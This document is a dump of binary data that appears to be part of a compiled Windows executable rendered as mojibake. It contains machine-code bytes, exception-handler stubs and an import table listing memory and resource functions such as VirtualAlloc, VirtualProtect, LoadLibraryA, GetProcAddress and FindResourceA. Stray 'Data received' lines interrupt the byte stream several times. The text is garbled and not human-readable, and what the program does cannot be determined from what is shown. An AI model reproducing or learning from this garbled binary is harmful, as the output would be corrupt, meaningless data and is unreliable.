~$~(~,~0~4~8~<~@~D~H~L~P~T~X~\~`ÆèÃj¸¼Òè.ñhÔ Mðè{§þÿeüEðPÎèÁüÿÿMðÁðèQ}ÿÿÇÐ fÆèÌÃj¸HÂèñuìÇ 3ÿ~~ ^4Ë~$~(èÀ¦þÿ~@~DNPÿ}ü~T~h~lEhËÇF( ÇF ~FÆEüèTÿÿ3ÛC]üë!MèÉtè(ÇEü¸>Ãuì3Û3ÿCj^0ÇFDèÉ~ÿÿFxÇ$èYÈMÆEü;ÏtèKüÿÿë3ÀNxjd]üècYÈMÆEü;ÏtèJþÿÿë3ÀNxj]üAè=YÈMÆEü;Ïtè§þÿÿë3ÀNxA^\|¾¾¾ÆèÂÿVjñè¹þÿÿÇä Æ^ÃÿUìVñèúÿÿöEtVèðXÆ^]Âj¸lÂèv hè¶XÈMð3ÀEü;Ètè¡ÿÿÿè,Ãh.¹ÄXèQ^Àuéë'@Àuh"¹ÀXèYÀtáÃèÈÿÿÿÈÁtè®úÿÿÀué¸'ÃÿUìVñè§ÿÿ
Data received	ÿx\|tEøÿtVPè¥÷ÿÿFëfÆ^]Âè«ùÿÿìÃÿUìVèéÿÿðöt%Îÿ(Àt8tÿuÈÿRd^]ÃÿUìS¬åVuWöuè¡ÿÿÿÀu èÿÿÀu3öëp ëjðVÿàå©@t VÿÓðöuçþÆöt PøÿÓÀu÷}u öt VÿØäð]Ût#ÿtWÿhäÀt;þt jW;ÿåë#_Æ^[]ÂÿUìÿuèÿÿÿY]ÂÿUìì¡)3ÅEüESVW}3öVäþÿÿèéþÿÿYôþÿÿPVèÿÿÿØèþÿÿ;ôþÿÿt jSÿå!µìþÿÿìþÿÿPSÿdäÛt&ÿÀâ9ìþÿÿujjhvSÿåÀtðëÿtwx¥ðþÿÿötðþÿÿEÀtöEðuEàøvÀýøw M ëM0Æøþÿÿÿt_Pëøþÿÿ¿WÃPjÿÄâ;ÇuÆEûÿuSÿµäþÿÿÿµèþÿÿè£¡ÿÿÄøötðþÿÿ½ôþÿÿtjÿµôþÿÿÿåjèÆýÿÿYMüÇ_^3Í[è6çÉÃÿUìèýÿÿ@ÀtÈ]ÿ¢ÿuÿuÿujèsþÿÿÄ]ÂÿUìÿuÿuÿuQèXþÿÿÄ]Âj¸¼Òè Mðè¢þÿÿueüMðèÉÿÿEøÿuEuðPÿuVèwÿÿÿNðøè0xÿÿÇèµ ÂÿUìÿuÿuÿuÿuè8ïPè@ðÿÿÄ]ÃÿUìSVu3ÛW;ótC};ût<èIüÿÿ@ÿuPè0\|ÿÿYY;Ãu3À_^[]Â·SSOWVQÀPSSÿ0ã0ëßè$Ìèüÿÿ@ÂÿUìVuöu3Àëo}Wt¾}ÿMWVèìðYYöt!F}uç¾EPVèýëYYÀuVÿXãëMè)¦þÿ3Àë$+ÆMPVPPèÿÿPèÿÿÿMÄjÿèEÿÿ3À@_^]ÂÿVð3ÀÊÒt8tFJuøÒu¸W^ÿtÀ\|+ÊÃ'ÃÿUìEÀPÿuEÀPÿuè÷íÄ]ÃÿUìÿuÿuÿuÿuèÉÿÿÿPèäîÿÿÄ]ÃÿUìÿuÿuÿuèq#PèÆîÿÿÄ]ÃÿUìÿuÿuÿ¼âÀuÿuÿ@ãPèÙb]ÂÿUìÿuÿLãÀuÿuÿ@ãPè´b]ÂÿUìì$¡)3ÅEüS]W}SWÜùÿÿÿ°âÀt3Àé¨jÿüåÀu@éV5XãWÿÖSàùÿÿÿÖ9àùÿÿÿ´â5¸âØäùÿÿPjÿWjSÿÖôýÿÿPjÿWjSÿÖìûÿÿPjÿÿµÜùÿÿjSÿÖ?Çt,3öö5ôýÿÿtf5äùÿÿf;5ìûÿÿu"FPFèï8YuÖ3À@^Mü_3Í[èÅãÉÂ3Àëë¸ÃÿUìEÀ\|;BøBô 3ÒfA]ÂhWèþÿÌhèþÿÌÿUì3ÀPPjÿÿuPjÿäâH]ÃÿUìÿuÿuÿuÿujjÿäâ]ÃÿUìEøÿu ÿuè"Y@PÿuÿuÿuèçýÿÿÄ]ÃÿUìEW}ÀtUúÿÿÿwèqýÿÿë¸WÀ}ÿt'_]ÂÿUì}Vñu3Àë+jEPÿuÿuÿvÿ¬âÀuÿvÿ@ãPè`E^]ÂÿUìVW}ñÿt7jEPWÿuÿvÿ¨âÀuÿvÿ@ãPèo`9}tÿvjÿj è`_^]ÂÿUìQQEVÿuñMMüMüQPÿvEøÿ¤âEøøÿuW=@ãÿ×Àtÿvÿ×Pè`_EøUü^ÉÂÿUìQQVñj3ÀMüQPÿvEøEüÿ¤âEøøÿuW=@ãÿ×Àtÿvÿ×PèÃ__EøUü^ÉÃÿVñFøÿtPÿ âÀuÿvÿ@ãPè_^ÃÿUìVÿuñÿuÿuÿuÿvÿâÀuÿvÿ@ãPè`_^]ÂÿUìVÿuñÿuÿuÿuÿvÿâÀuÿvÿ@ãPè+_^]ÂÿUìVjÿuñÿuÿP(ÿvÿâÀuÿvÿ@ãPèõ^^]ÂÿUìQQWEüùPÿwÿâEøøÿuV5@ãÿÖÀtÿwÿÖPè¹^^EøUü_ÉÃÿUìì¡)3ÅEüSVuW}Þöu øþÿÿÇEÿuSWÿ<àfÀtÿuVWè¥^ëöu SÿXã@ë3ÀMü_^3Í[èDàÉÂÿUìQQSV1^ôîMøW]üÿPjÿuÈÿøÿuèüÿÿE;Ø}Ã@PNQP_SèúÿÿEüÄÎGèqqÿÿEø_^[ÉÂÿUìUVñè9P}Ò~W9jRPÿW_ÀuèüÿÿÀ^]ÂÿVñFW3ÿøÿtPÿâø÷ßÿGNÿfÆÎèÜþÿÿtÿ6ÿ@ãPè\]_^ÃÿVñFøÿtPÿâNÿN^é¦þÿ éé¼pÿÿÿUìVñMÉu h@è³þÿÿPÀÆ^]ÂÿVñé3ÀW99At 9A} PÎè+ûÿÿëèjpÿÿÏÿPÀ_^ÃÿUìPôèVu;Ö~òx~Vèiþÿÿë$@;Æ}Ð¸;Ð~ÐëÒ;Ö}ÖRèþÿÿ^]ÂÿVñNÇ4èªþÿNÿfÆ^ÃÿUìQSWjÙè r
Data received	jÿMìèáïÿÿEìHôUðf<J\uAFt=0ãSSÿp(ÿp$JjÿPSSÿ×FtH(@$\ÿFtH SSIQÿpjÿÿuðSSÿ×FtH @\þ~tÿwèê÷YO\ÿuðÿæMìMüÿÁðèzþÿEØéÑFt÷@4ÇUÜRh`)]ÜPÿ;Ã¨EÜUàR]àPÿQl;ÃEàUäRPÿQ$;ÃiEäUÔRUèRW]ÔPÿQÀCMìè£/ÿÿFtUðR}üxEèh]ðPÿQÀ\|,ÿuðÿãFt@ SSHPWjÿÿuðSSÿ0ãÿuðøÿæEèUðRh]ðPÿQ;Ã\|aÿuðMìèÁïÿÿMìè\|ïÿÿPÿãjÿMìèFîÿÿEìHôEðf<H\uAFtP PEðSS+×JRWjÿHPSSÿ0ãÿuðøÿæEèPÿQFtH @Dÿ;øsEäUÔRUèRjPÿQÀQÿÿÿFtH @Dÿ;øsëFtH @\þFtH @\ÿMìMüÿÁðè¶þÿEäPÿQEàPÿQEÜPÿQEÜPÎèÃøÿÿøEÔPÎÇEüèlúÿÿIôPôFt+ÊfH8MÔÁðè^þÿMÜMüÿÁðèOþÿEÌPÎèwøÿÿøEÐPÎÇEüèûÿÿfIôf+HôFtfH:MÐÁðèþÿMÌÁðèþÿèÃÿUìQQVuÿ¶DþÿÿÆ(þÿÿMøèÿÿÎèbüÿÿÎÿhð÷Þö÷Þ}üt ÿuøjèJÿþÿÆ^ÉÂÿUìEÀt fMf3À@]ÂÿUìQÁMS3ÛXEü8YVWhp ÿ4ãø;ûuèÂ.ÿÿ5<ãh,WÿÖh` W£YÿÖhP W£YÿÖh< W£YÿÖ_£Y^9Yt9Yt¯9Yt§;Ãuë¡9Yu9Yu;ÃuEüÆY[ÉÂÿUì¡YVñÀu°ë }u2Àë>ÿu÷ÿuÿÐ3ÉøÿÁÁ^]ÂYÒu°ÃV1þÿtA8t2À^ÃPVÿÒH÷ØÀ@^Ã3Ò9YtA;ÂtPRQÿYH÷ØÀ@Ã°ÃÿUììSW3ÿ¹ Mð}ü}øÇEì}ô»%9=%VEüPjWÿ3hÿ àÀucsëLMìQMøQMôQWPÿuüÿ0àÀu!}ôuNEð9}øt ë÷Ñ! }øÇEì}ôÆ;Çu®ÿuüÿ,à}üÃ9;zÿÿÿ^3À_@[ÉÃÿUìEÀt #M÷ÙÉ÷Ù3À@]Â¡øX3ÒVñ;Ât9VXu
Data received	FXøXNX;ÊtRÿPë%Îÿ´3À@^Ãj¸ûÊèÓñEðP3ÿj }ðè~ÿÿÿ9}tC9}ðu>j è,þÿYÈMð}ü;Ïtjÿuhä+hÐ+WèÌ¸ë3ÀMüÿÈÿRWhø+hì+Îèè4ÂÿUì3À@9`]~DSVW} d]p3Û3Ò;5`]Ã<-t</u3ÒBASRQÏÿPÆ;`]\|Å_^[]ÂÿVñ8t ÈÿRÀtPhø+hì+Îèì^ÃÿVñÀt @øtøtèVÿÿxuÎèÿÿÿÀtÿÐF\|ÀtPÿãf\|3öè(ÿÿÀtèÿÿpÆ^ÃÿUìèÿÿÀt @<ÀtjjÿÐ]ÿ%ÌãÿUìSVW}3Û;ûuèß*ÿÿU;ÓtôBðNtPîtK¾ñ=u 9ZuF3ÛChä ÏèRKÏÀtVh0ëh2è:KÀu VjÏÿPÃëRWèÿÿ_^[]ÂÿUìS]VñÛ=Sè¿!ÿÿe~Xt8NXÿPEÀt)NXURÿPÈÿ}uäëûuSè}!ÿÿ3Àû^À[]ÂÿUìQVñFtW3ÿ;ÇS@âPÿÓ·HÿuÈQÿãÀudWEüPÿuè\ÀtSFp;ÇtPèÈQWWWÿuÿuüWè6PjBÿ<âPFpÿÓjWPÿuÿuüWèøtÿvpèQ~pÿuüèù[_^ÉÂ¸,ÃÿUìèYÿÿMH]Â¸$,ÃÿUìì¡)3ÅEü}SVñÚäþÿÿuhà-jPè)PèáôþÿÄëjPjÿuÿ0âÀtnWè8è\| äþÿÿPSVh¾èþÿÿVPèöÄØèO8tèEÿ0è"þÿYëè68_ûÿt;ÞsèþÿÿPÿ8ãë3ÀMü^3Í[èêÉÃ=YVñt>ÿt èúÿÿÿ6ÿY^ÃéúÿÿÿVñÿP\|Îÿ°F\|ÀtPèÎþÿÿÿv\|hhÿ4â3À@^ÃÿUìS]VW=ãh.Sñÿ×ÀuÇFé>h\|.Sÿ×ÀuÇFé&hp.Sè¸¥þÿYYÀ hd.Sè£¥þÿYYÀõhT.Sè¥þÿYYÀÙh@.Sèy¥þÿYYÀÄh4.Sèd¥þÿYYÀ¦h(.SèO¥þÿYYÀh.Sè:¥þÿYYÀtph.Sè)¥þÿYYÀt_hü-Sÿ×ÀuPèaÇFëkhð-Sèý¤þÿYYÀuPèï`ÇFfëGhä-SèÙ¤þÿYYÀu6PèË`ÇFëÚÇFÇFëÇFëÇFÇF_^[]ÂÿVñ~ uè`ÀtjèûÿÿÎ^é ÿÿÿUìVWùèþÿð3À;ðuès&ÿÿPPhjG\ÿv ÿ8åÿuÿuÎÿP\|_^]ÂÿUìVWùèÀþÿð3À;ðuè2&ÿÿPPhjG\ÿv ÿ8åÿuÿuÎÿ_^]ÂÿUìVWùè\|þÿð3À;ðuèî%ÿÿPPhjG\ÿv ÿ8åÿuÿuÎÿ_^]ÂéFýÿÿh\¸!ËèjE54ãÜþÿÿE3ÿhÈ.Ðþÿÿ½àþÿÿ½äþÿÿÿÖ<ãh¬.PÌþÿÿÿÓ;Ç¥ÿÐ5(â·Ààþÿÿ·ÀÈÁè ¿ÿÁà #Ï·É·ÀÁPäþÿÿÿÖÿµäþÿÿ¸þÿÿÿÖh.ÿµÌþÿÿ¼þÿÿÇäþÿÿÿÓÀ®ÿÐ·Ààþÿÿ·ÀÈÁè Áà #Ï·ù·ÀÇPÿÖWÀþÿÿÿÖÄþÿÿÇäþÿÿëph.ÿÖ;ÇteàþÿÿQh>jjP½àþÿÿÿ,âf9½àþÿÿt?·àþÿÿ5(âÈÁè Áà áÿ·ù·ÀÇPÿÖW¸þÿÿÿÖ¼þÿÿÇäþÿÿäþÿÿÿäþÿÿÇ¸þÿÿhèþÿÿP¾VÆEíÆEìÿÄâÀuèO Âj _W3ÛþÿÿSPèyêÄèþÿÿjÿÔþÿÿ½þÿÿ þÿÿÇ¬þÿÿèµ´þÿÿÇþÿÿèÅôÿÿþÿÿPÔþÿÿ]üègõÿÿÀtÔþÿÿèõÿÿ3ö9äþÿÿ~&ÿ´µ¸þÿÿÐþÿÿÜþÿÿè/úÿÿY;Ãu F;µäþÿÿ\|Ú3öëðMüÿÔþÿÿèÞúÿÿÆé9ÿÿÿÿUìì¡)3ÅEüVÁ¾VìþÿÿQÿpDÿÄâÀt3;Æt/WìþÿÿPÿãÆ¾Ø.}ð¥ìþÿÿ¥PEðP¤è/ýÿÿ_ë3ÀMü3Í^èìäÉÃj¸QËè!ñuðèÿÿ3ÿ}üÇì.9}tÿuè+YFPë~PèúþÿØ;ßuè"ÿÿKtè{õþÿ;Çtïpÿ$âF,ÿÌâF0s3Àff~D~\|~d~h~T~`¾~X~H¾¾¾~p~t¾¾~\~lÇÆè1ÂÿVñNÇ¨/è?ýÿNè7ýÿN è/ýÿN$è'ýÿ3ÀFFFFÇFÆ^ÃÿVñN$éÇ¨/èHuþÿN éè=uþÿNéè2uþÿNé^é&uþÿÿUì3À9Et$3ÒB9Au Vq9Fô^tQ9Au9AuÂA]ÂÿU
Data received	ÌÌÌMìéûÿT$BJ¨3ÈèxÅþÿ¸ÈéÂþÿÌÌÌÌÌÌÌÌÌÌÌÌÌMÐéXûÿT$BJØ3ÈèHÅþÿ¸ôéåÁþÿÌÌÌÌÌÌÌÌÌÌÌÌÌMðé¨ûÿT$BJ¤3ÈèÅþÿ¸ éµÁþÿÌÌÌÌÌÌÌÌÌÌÌÌÌMðéxûÿT$BJ¨3ÈèèÄþÿ¸LéÁþÿÌÌÌÌÌÌÌÌÌÌÌÌÌpÿÿÿéÅûÿT$Bxÿÿÿ3Èè²Äþÿ¸éOÁþÿÌÌÌÌÌÌÌMðé(XüÿT$BJø3ÈèÄþÿ¸Àé%ÁþÿÌÌÌÌÌÌÌÌÌÌÌÌÌMìéHûÿMÐé@ûÿMÜéxûÿMØé0ûÿMÄéÈûÿMÔé ûÿT$B0ÿÿÿ3Èè-Äþÿ¸äéÊÀþÿÌÌEìPèXüÿYÃT$BJì3ÈèÄþÿ¸Hé¢ÀþÿÌÌÌÌÌÌÌÌÌÌMäéûÿT$BJ¼3ÈèØÃþÿ¸téuÀþÿÌÌÌÌÌÌÌÌÌÌÌÌÌEìPè¦WüÿYÃT$BJÔ3Èè¥Ãþÿ¸ éBÀþÿÌÌÌÌÌÌÌÌÌÌ ÿÿÿéýÿ ÿÿÿÁtéýÿ ÿÿÿÁÈéýÿ ÿÿÿÁénýÿ ÿÿÿÁpéÄûÿ ÿÿÿÁté³ûÿ ÿÿÿÁxé¢ûÿ ÿÿÿÁ\|éûÿ ÿÿÿÁéûÿT$B(ÿÿÿ3ÈèíÂþÿ¸Äé¿þÿÌÌMÜélýÿMÜÁtéæýÿMÜÁÈéØýÿT$BJä3Èè¯Âþÿ¸HéL¿þÿÌÌÌÌM é,ýÿM ÁtéRýÿM ÁÈéÿ~ûÿT$BJ¨3ÈèoÂþÿ¸é¿þÿÌÌÌÌMìéìýÿT$BJô3ÈèHÂþÿ¸°éå¾þÿÌÌÌÌÌÌÌÌÌÌÌÌÌMðé¨~ûÿT$Bdÿÿÿ3ÈèÂþÿ¸Üé²¾þÿÌÌÌÌÌÌÌÌÌÌMðéÜ7ýÿMðÁèé×NýÿMðÁÄéJýÿT$BJø3ÈèÌÁþÿ¸éi¾þÿÌM¸éüÿM¸éüÿM¬éøüÿM¬épüÿT$BJ3ÈèÁþÿ¸\é-¾þÿÌÌÌÌÌ¡`>àþ£`>ÃT$BJø3ÈèbÁþÿ¸éÿ½þÿÌÌÌÌÌÌÌ¹=éÚýÿT$BJø3Èè6Áþÿ¸´éÓ½þÿÌÌÌÌÌÌÌÌÌÌÌÔýÿÿé}ûÿÐýÿÿé}ûÿÌýÿÿé}ûÿÜýÿÿé«¼ýÿÈýÿÿéi}ûÿMÄéÑüÿT$Býÿÿ3ÈèÎÀþÿJÌ3ÈèÄÀþÿ¸Øéa½þÿÌÌÌÌÌÌÌÌÌMðéxüÿT$BJø3ÈèÀþÿ¸Té5½þÿÌÌÌÌÌÌÌÌÌÌÌÌÌÿÿÿÁéò\|ûÿÿÿÿÁéä\|ûÿÿÿÿÁéÖ\|ûÿÿÿÿÁéÈ\|ûÿÿÿÿÁéº\|ûÿT$Bÿÿÿ3Èè'Àþÿ¸xéÄ¼þÿÌÌÌÌÌÌÌÌÌÌÌÌMèé\|ûÿMäé\|ûÿMàéx\|ûÿMÜép\|ûÿMØéh\|ûÿMÔé`\|ûÿ
Data received	MÐéX\|ûÿMÌéP\|ûÿMÈéH\|ûÿMÄé@\|ûÿMÀé8\|ûÿMìé0\|ûÿT$B$ÿÿÿ3Èè¿þÿ¸Äé:¼þÿÌÌ`ÿÿÿéSüÿ`ÿÿÿÁé÷{ûÿ`ÿÿÿÁéé{ûÿ`ÿÿÿÁé#ãüÿMðéÓ{ûÿMèéË{ûÿMäéÃ{ûÿMàé»{ûÿMÜé³{ûÿT$BHÿÿÿ3Èè ¿þÿ¸ é½»þÿÌÌÌÌÌM¸éRüÿM¸Áé}{ûÿM¸Áér{ûÿM¸Áé¯âüÿMðé_{ûÿMìéW{ûÿMèéO{ûÿT$BJ¨3Èè¿¾þÿ¸é\»þÿÌÌÌÌMìéûÿMÔé°üÿMÐé{ûÿMÌé{ûÿMÀé{ûÿM¼é{ûÿM¸éøzûÿM´éðzûÿM°éèzûÿM¬éàzûÿT$B(ÿÿÿ3ÈèM¾þÿ¸héêºþÿÌÌMðé¸zûÿT$BJè3Èè(¾þÿ¸äéÅºþÿÌÌÌÌÌÌÌÌÌÌÌÌÌEÀPèÇvûÿÃMÈé0ÚýÿT$BJ´3Èèî½þÿ¸éºþÿÌÌÌ\|ÿÿÿéüÿT$BJ3ÈèÅ½þÿ¸DébºþÿÌÌÌÌÌÌÌÌÌÌMèéïýÿEìPèQüÿYÃT$BJì3Èè½þÿ¸xé*ºþÿÌÌMèékïýÿT$BJì3Èèh½þÿ¸¤éºþÿÌÌÌÌÌÌÌÌÌÌÌÌÌEäPè6QüÿYÃT$BJà3Èè5½þÿ¸ÐéÒ¹þÿÌÌÌÌÌÌÌÌÌÌMàéààüÿT$BJÜ3Èè½þÿ¸üé¥¹þÿÌÌÌÌÌÌÌÌÌÌÌÌÌEìPè§uûÿÃT$BJð3ÈèÖ¼þÿ¸(és¹þÿÌÌÌÌÌÌÌÌÌÌÌMðéªaüÿT$BJø3Èè¨¼þÿ¸TéE¹þÿÌÌÌÌÌÌÌÌÌÌÌÌÌMÜézaüÿT$BJä3Èèx¼þÿ¸é¹þÿÌÌÌÌÌÌÌÌÌÌÌÌÌMÜéhüÿMÀé`üÿT$B\|ÿÿÿ3Èè=¼þÿ¸´éÚ¸þÿÌÌMé¨xûÿMéþÿM¬éòþÿT$B,ÿÿÿ3Èè¼þÿ¸ðé¢¸þÿÌÌÌÌÌÌÌÌÌÌMðéÈûÿT$BJ¼3ÈèØ»þÿ¸éu¸þÿÌÌÌÌÌÌÌÌÌÌÌÌÌMÔéØûÿM¼éÐûÿT$BJ3Èè »þÿ¸Pé=¸þÿÌÌÌÌÌMéxûÿMðéxûÿMèéøwûÿT$BJ3Èèh»þÿ¸é¸þÿÌÌÌÌÌÌÌÌÌÌÌÌÌMéÈwûÿMðéÀwûÿT$Btÿÿÿ3Èè-»þÿ¸ÀéÊ·þÿÌÌMäé8ûÿMÌé0ûÿM°éèûÿ,ÿÿÿé}wûÿMéûÿMéÍûÿÿÿÿébwûÿM´éúûÿMé²ûÿMéêûÿlÿÿÿéßûÿTÿÿÿéûÿT$BLþÿÿ3Èè¡ºþÿ¸äé>·þÿÌÌÌÌÌÌMéhûÿM¼é`ûÿMäéûÿMÀéPûÿMÄéHûÿM¬éûÿMÈé8ûÿM¨é0ûÿMÌéhûÿMé ûÿMéûÿMéPûÿMàéûÿ\|ÿÿÿéýûÿpÿÿÿévûÿhÿÿÿévûÿ`ÿÿÿé\|vûÿT$Bhþÿÿ3Èèé¹þÿ¸xé¶þÿÌÌÌÌÌÌÌÌÌÌÌÌÌÌM¬é¨ûÿMìé ûÿM é8vûÿMÄéÐûÿMðéûÿMé vûÿM´é¸ûÿM°épûÿpÿÿÿévûÿMÜéûÿTÿÿÿéòuûÿT$Bdþÿÿ3Èè_¹þÿ¸$éüµþÿÌÌÌÌMÌéhûÿM´é`ûÿM¨éûÿT$B`ÿÿÿ3Èè%¹þÿ¸ÈéÂµþÿÌÌÌÌÌÌÌÌÌÌMðéèûÿMÔé ûÿM¤éûÿMéûÿT$B4ÿÿÿ3ÈèÝ¸þÿ¸ézµþÿÿuðèqûÿÃT$BJì3Èè¹¸þÿ¸8éVµþÿEðàeðþMéuûÿÃT$BJÄ3Èè¸þÿ¸¤é"µþÿèýÿÿéïtûÿT$Bàýÿÿ3Èè\¸þÿJø3ÈèR¸þÿ¸éï´þÿèýÿÿé¼tûÿT$Bàýÿÿ3Èè)¸þÿJø3Èè¸þÿ¸dé¼´þÿMèéËXüÿT$BJä3Èèü·þÿ¸é´þÿäýÿÿéáüÿèýÿÿé[tûÿT$BÜýÿÿ3ÈèÈ·þÿJø3Èè¾·þÿ¸øé[´þÿMðé\üÿMðÁXé tûÿT$BJì3Èè·þÿ¸,é-´þÿMìéÑrüÿT$BJè3Èèm·þÿ¸é ´þÿT$BJÌ3ÈèR·þÿ¸\|éï³þÿÿuÿuðèRMüÿÃT$BJì3Èè+·þÿ¸¨éÈ³þÿT$BJ¸3Èè·þÿ¸@é³þÿM éøüÿT$BJ3Èèí¶þÿ¸lé³þÿtÿÿÿéÒüÿT$Bpÿÿÿ3ÈèÄ¶þÿ¸éa³þÿT$BJ°3Èè©¶þÿ¸ðéF³þÿMèéêqüÿT$B¨þÿÿ3Èè¶þÿJü3Èèy¶þÿ¸é³þÿMìé0üÿMØé©ýýÿMéQüÿMØéýýÿT$BJ3Èè>¶þÿ¸`éÛ²þÿÿuäèJüÿYÃT$BJÜ3Èè¶þÿ¸Àé¶²þÿèýÿÿérûÿT$Bàýÿÿ3ÈèðµþÿJø3Èèæµþÿ¸ é²þÿMéF¯üÿT$BJð3ÈèÃµþÿ¸L é`²þÿMéÈ~üÿT$BJì3Èè µþÿ¸x é=²þÿT$BJÀ3Èèµþÿ¸Ð é"²þÿMðÁ4éïqûÿMðÁtéTÃüÿT$BJì3ÈèTµþÿ¸¡éñ±þÿMìÁ4é¾qûÿMìÁté#ÃüÿÿuèÖ#þÿÃÿuèÍ#þÿÃÿuèÄ#þÿÃT$BJä3Èèµþÿ¸L¡é¥±þÿÿuðè #þÿÃT$BJì3Èèä´þÿ¸°¡é±þÿäýÿÿÁéKqûÿèýÿÿé@qûÿT$BÜýÿÿ3Èè´þÿJø3Èè£´þÿ¸¢é@±þÿ¬þÿÿé qûÿT$Bþÿÿ3Èèz´þÿJ
Data received	Ö3Ö;ÖCÖKÖSÖ[ÖcÖkÖsÖ{ÖÖÖÖÖ£Ö«Ö³Ö»ÖÿÿÿÿÞÖæÖîÖöÖ"lÀ"ÔÀÿÿÿÿ×$×/×:×E×ÿÿÿÿx××××"üÀØÿÿÿ¡e@Áÿÿÿÿ¸×ÿÿÿÿÿÿÿÿ"dÁPÁÿÿÿÿÜ×ÿÿÿÿå×" ÁàÿÿÿkÿÿÿÿÿÿÿÿÔÁ"äÁôÁÿÿÿÿ$Ø",ÂÿÿÿÿGØOØ"XÂÿÿÿÿuØ"ÂþÿÿÿÔÿÿÿþÿÿÿìþÿÿÿÔÿÿÿþÿÿÿþÿÿÿÔÿÿÿþÿÿÿ þÿÿÿÔÿÿÿþÿÿÿTþÿÿÿÔÿÿÿþÿÿÿ^oþÿÿÿÔÿÿÿþÿÿÿ«¶¿¶þÿÿÿÐÿÿÿþÿÿÿ<¹þÿÿÿÈÿÿÿþÿÿÿS½þÿÿÿÌÿÿÿþÿÿÿ×ÁÂþÿÿÿÔÿÿÿþÿÿÿ]ÂþÿÿÿÐÿÿÿþÿÿÿÃþÿÿÿÐÿÿÿþÿÿÿ~ÄþÿÿÿÐÿÿÿþÿÿÿ»ÊþÿÿÿÐÿÿÿþÿÿÿ^Í Í*ÍþÿÿÿØÿÿÿþÿÿÿÎÎ@îÎÿÿÿÿÿÿÿÿÄ"¬Ä¼Äþÿÿÿ´ÿÿÿþÿÿÿ&ÐÏÏþÿÿÿÔÿÿÿþÿÿÿ ÒÒþÿÿÿØÿÿÿþÿÿÿ¦ÒªÒÄËlÅxÅÅ,ÿÿÿÿ\×4,ÿÿÿÿ`WþÿÿÿÔÿÿÿþÿÿÿÒÚþÿÿÿáÚþÿÿÿØÿÿÿþÿÿÿÜþÿÿÿ ÜþÿÿÿØÿÿÿþÿÿÿÇÞËÞþÿÿÿØÿÿÿþÿÿÿßßþÿÿÿÔÿÿÿþÿÿÿùàþÿÿÿÔÿÿÿþÿÿÿã;ãþÿÿÿÔÿÿÿþÿÿÿeçþÿÿÿÌÿÿÿþÿÿÿ3ëþÿÿÿÔÿÿÿþÿÿÿ£îþÿÿÿØÿÿÿþÿÿÿË÷ß÷þÿÿÿÔÿÿÿþÿÿÿÿþÿÿÿ´ÿÿÿþÿÿÿÕ0þÿÿÿØÿÿÿþÿÿÿ5þÿÿÿÔÿÿÿþÿÿÿÊ5þÿÿÿÿÿÿþÿÿÿÖ<Ú<þÿÿÿÀÿÿÿþÿÿÿHþÿÿÿÐÿÿÿþÿÿÿHHþÿÿÿÔÿÿÿþÿÿÿ¬VþÿÿÿÐÿÿÿþÿÿÿ(`þÿÿÿÌÿÿÿþÿÿÿ²a~aþÿÿÿÌÿÿÿþÿÿÿòeþÿÿÿÐÿÿÿþÿÿÿnþÿÿÿÔÿÿÿþÿÿÿxþÿÿÿÐÿÿÿþÿÿÿgyþÿÿÿÔÿÿÿþÿÿÿ{þÿÿÿÐÿÿÿþÿÿÿ@þÿÿÿØÿÿÿþÿÿÿ¨¨äÿÿÿÈÿÿÿþÿÿÿ×©Ý©@M«ÿÿÿÿÿÿÿÿDÉ"TÉdÉ°«¬É´É8=ÿÿÿÿ0¬þÿÿÿÔÿÿÿþÿÿÿ&d8hT=,ÊhÊTÊ8ÊCreateStdAccessibleObjectLresultFromObjectPÌ$ÜáÏªå°ãË¦èDàËÀè<àTÑéæPËêàÌÎ`ê\|ãäÎæêãdÑJëæ°ÎTë`ã
Data received	ÜéÈé¶é¤ééérébéRéBé4é&ééðé°èè,è@èVèhè\|èèèðçèÚçÆç¼ç°ç¢ççjççzç¶åVçDç6çççççüæææÖæÊæ¼æ¬æææræbæLæ2æ"æææöåæåØåÎå\|ØØ®Ø¾ØÒØêØöØÙ"Ù4ÙFÙXÙfÙvÙÙÙÙ²ÙÎÙìÙÚ ÚÚ,Ú<ÚNÚbØ`ÚnÚ\|ÚÚ¦Ú¸ÚÆÚØÚòÚ Û$Û>ÛXÛhÛÛ Û²ÛÂÛÒÛèÛøÛ ÜJØ>Ø2ØØØø×è×Ú×Î×²×¢××z×l×T×F×8×$×××òÖÖÖ¸Ö ÖÖtÖZÖHÖ2Ö$ÖÖÖøÕæÕÚÕÐÕÀÕ°Õ¤ÕÕ~ÕjÕ\ÕHÕ4ÕÕ ÕþÔêÔØÔÊÔ¼Ô¬ÔÔÔ~ÔlÔ`ÔTÔHÔ6Ô"ÔÔÔêÓÚÓÄÓ®ÓÓÓvÓdÓNÓBÓ2Ó&ÓÓþÒòÒäÒÔÒÂÒ²Ò¤ÒÒ\|ÒpÒ`ÒPÒ>Ò.ÒÒÒôÑâÑÒÑÂÑºÑ¬ÑÑÑ\|Ñ ê0ê>êPêêêê¤êºêlêÒêlå~åååÔäÈä¶ä¤ääätäfäXäJä:ääääúãìãàãÎã¼ã®ã¢ãã\|ãjãXãHã4ãããêâÖâÊâ¸âªâââzâhâXâHâ:âââþáðáÞáÊá`å´ááázájáXáHá.áááþàêàØàÈà¸à¬à ààànà\àFà0àà àôßàßÒßÂß²ßßßzßjßXßFß2ÜBÜNÜ^Ü8ß.ßßßøÞæÞÖÞÆÞ²Þ¤ÞÞÞTåJå6å*ååååòäæälÜxÜÜÜ¦Ü¶ÜÆÜÒÜÞÜêÜòÜþÜÝ Ý2Ý>ÝHÝTÝdÝpÞ^ÞPÞDÞ2Þ ÞÞÞòÝàÝÐÝÂÝ²ÝÝÝpÝÞèôèÎè8ë(ëëëòêµlstrlenAXGetTempFileNameAZGetTempPathAÀDeleteFileA!SleepìSetLastErroræGetLastError GetProcAddressñLoadLibraryAöGetModuleHandleAzWideCharToMultiByte6FindResourceA SizeofResourceLockResourceöLoadResource©lstrcmpA¼InterlockedDecrement\VirtualQueryWVirtualFreeTVirtualAllocZVirtualProtectÈIsBadReadPtrLFreeLibraryHeapAlloc#GetProcessHeapGetNativeSystemInfo¡HeapFreeuGetVersionExAªlstrcmpWMultiByteToWideCharRCompareStringAGlobalDeleteAtomGlobalFindAtomAGlobalAddAtomAGlobalGetAtomNameAGetCurrentThreadIdOFreeResourceôGetModuleFileNameAªGetCurrentProcessIdMoveFileA>GetStringTypeExA_GetThreadLocale¬lstrcmpiAhReadFileWriteFileßSetFilePointerAFlushFileBuffersLockFile?UnlockFileÍSetEndOfFileÔGetFileSizeCCloseHandleÔDuplicateHandle©GetCurrentProcessFindCloseFindFirstFileAwGetVolumeInformationAÜGetFullPathNameA7GetShortPathNameAxCreateFileASetThreadPriorityResumeT